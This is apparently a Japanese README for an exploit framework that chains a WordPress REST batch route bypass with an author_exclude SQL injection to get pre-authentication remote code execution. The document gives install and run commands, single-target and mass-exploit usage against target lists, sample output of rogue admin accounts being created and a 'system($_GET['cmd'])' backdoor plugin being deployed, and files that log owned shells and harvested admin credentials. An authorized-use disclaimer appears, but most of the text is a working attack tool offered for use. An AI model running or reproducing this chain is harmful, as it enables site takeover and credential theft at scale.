
WordPress Core RESTバッチルートの混乱を悪用した認証バイパスと、author_exclude SQLインジェクションを連鎖させ、管理者を作成してバックドアプラグインを配備するモジュール式の認証前RCEフレームワーク。
WordPress Core 向け事前認証 RCE フレームワーク
CVE-2026-63030 · CVE-2026-60137
by CyphrSec · @kingepepp
CyphrSec WP2Shell は、WordPress Core に存在する2つの連鎖脆弱性を標的としたモジュール式エクスプロイトフレームワークです:
| CVE | 脆弱性 | 影響 |
|---|---|---|
| CVE-2026-63030 | REST API バッチルート混同 | 認証バイパス、リクエストの非同期化 |
| CVE-2026-60137 | author_exclude SQL インジェクション | 任意の SQL 実行、データ窃取、管理者権限奪取 |
これらを連鎖させることで、WordPress Core 6.9.0 – 6.9.4 および 7.0.0 – 7.0.1 において**未認証のリモートコード実行(RCE)**が可能になります。
[1] Route confusion → REST batch endpoint bypass
[2] SQL injection → UNION read from wp_users / wp_posts
[3] UNION admin bridge → Create administrator pre-auth
[4] Plugin backdoor → Upload "Astral" plugin
[5] RCE → system($_GET['cmd'])
許可された使用のみ。
このツールは認可されたペネトレーションテスト、 セキュリティ研究、および教育目的に厳密に限定して提供されます。このフレームワークの いずれかのコンポーネントを実行する前に、対象の所有者から 明示的な書面による許可を必ず取得する必要があります。
所有していないシステムに対する不正使用は、以下の法律に違反します:
- Computer Fraud and Abuse Act (CFAA) — 米国
- UU ITE Pasal 30 — インドネシア
- Computer Misuse Act — 英国
- および世界中の同様の法律。
作者は、このツールに起因する誤用、損害、または法的 結果について一切の責任を負いません。
/wp-json/batch/v1 および ?rest_route=/batch/v1$wp_version をオフラインで読み取りCONCAT(0x7c7c, HEX(...), 0x7c7c) を介して任意のカラム値を抽出secure_file_priv が許可する場合の INTO OUTFILEphpass クラッキングフォールバックを伴うブラインドブール抽出system($_GET['cmd']) を備えた「Astral」プラグイン⬢ ⬡ ⊗ カウンター付きのターゲットごとに1行の一括出力git clone https://github.com/0xCyp1337/CVE-2026-63030-CVE-2026-60137-WP2SHELL.git
cd CVE-2026-63030-CVE-2026-60137-WP2SHELL
chmod +x wp2shell-fullchain.py
pip install は不要です — すべて標準ライブラリで動作します。
python3 wp2shell.py
╭─ MAIN MENU ────────────────────────────────────────────────────────────╮
│ │
│ 1 single target — interactive wizard │
│ 2 mass exploit — targets.txt list │
│ 3 remote scan — version + behavior check │
│ 0 exit │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py single -u https://target.com --cmd id --authorized
またはインタラクティブメニュー経由 → オプション 1。
出力例:
╭─ SINGLE EXPLOIT ───────────────────────────────────────────────────────╮
│ │
│ target : https://target.com/ │
│ cmd : id │
│ │
╰────────────────────────────────────────────────────────────────────────╯
[*] Testing route confusion...
[+] Route confusion confirmed.
[*] Using batch endpoint: https://target.com/?rest_route=/batch/v1
[*] Running timing-based SQL injection test... (SLEEP=2.0s, 7 requests)
[*] SQLi result: vulnerable
[*] Attempting UNION pre-auth admin creation...
[+] Created admin: cyphr_a1b2c3 / Wp2!Xy9zQr7mK
[+] Authenticated as new admin.
[*] Uploading backdoor plugin...
[+] Backdoor plugin installed and activated.
[*] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Clean up the backdoor plugin and the new admin user after testing.
╭─ RESULT ───────────────────────────────────────────────────────────────╮
│ │
│ status : OWNED — RCE confirmed │
│ time : 23.4s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py exploit -l targets.txt --cmd whoami --authorized -c 10 --delay 2
またはインタラクティブメニュー経由 → オプション 2。
出力例:
╭─ MASS EXPLOIT ─────────────────────────────────────────────────────────╮
│ │
│ targets : 245 workers : 10 delay : 2.0s │
│ cmd : whoami │
│ │
╰────────────────────────────────────────────────────────────────────────╯
⬢ https://site1.com ⬢4 ⬡1 ⊗5
⬢ https://site2.com ⬢5 ⬡1 ⊗5
⊗ https://site3.com ⬢5 ⬡1 ⊗6
⬡ https://site4.com ⬢5 ⬡2 ⊗6
...
╭─ SUMMARY ──────────────────────────────────────────────────────────────╮
│ │
│ ⬢ owned : 12 ⬡ admin : 3 │
│ ⊗ fail : 230 errors : 0 │
│ time : 145.2s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
凡例:
⬢ — 所有 (完全な RCE)⬡ — 管理者作成 (RCE シンクなし)⊗ — 失敗 / エラーpython3 wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
またはインタラクティブメニュー経由 → オプション 3。
レポート形式: table、json、jsonl、csv
CSV 列:
| フィールド | 説明 |
|---|---|
target | 元の URL |
wordpress_detected | true/false |
selected_version | ベストエフォートのバージョン |
version_assessment | LIKELY_VULNERABLE / PATCHED_VERSION / UNKNOWN / ... |
batch_route_exposed | /batch/v1 に到達可能かどうか |
active_probe_result | route-confusion-observed / route-confusion-not-observed / indeterminate |
verdict | CONFIRMED_VULNERABLE_BEHAVIOR / LIKELY_VULNERABLE / NOT_AFFECTED / ... |
severity | critical / high / medium / info |
summary | 人間が読める説明 |
remediation | 推奨される対応 |
| ファイル | 内容 |
|---|---|
pwn.txt | 攻略済みターゲット — URL | owned | HH:MM:SS | shell_url |
admins.txt | RCE シンクなしで作成された管理者認証情報 — URL | user:pass | admin-only |
exploit_log.txt | ターゲットごとの完全な stdout(マスモード) |
results.csv | サマリー — target,exit_code |
single_log.txt | 完全なログ(シングルモード) |
single_results.csv | シングルモードの結果サマリー |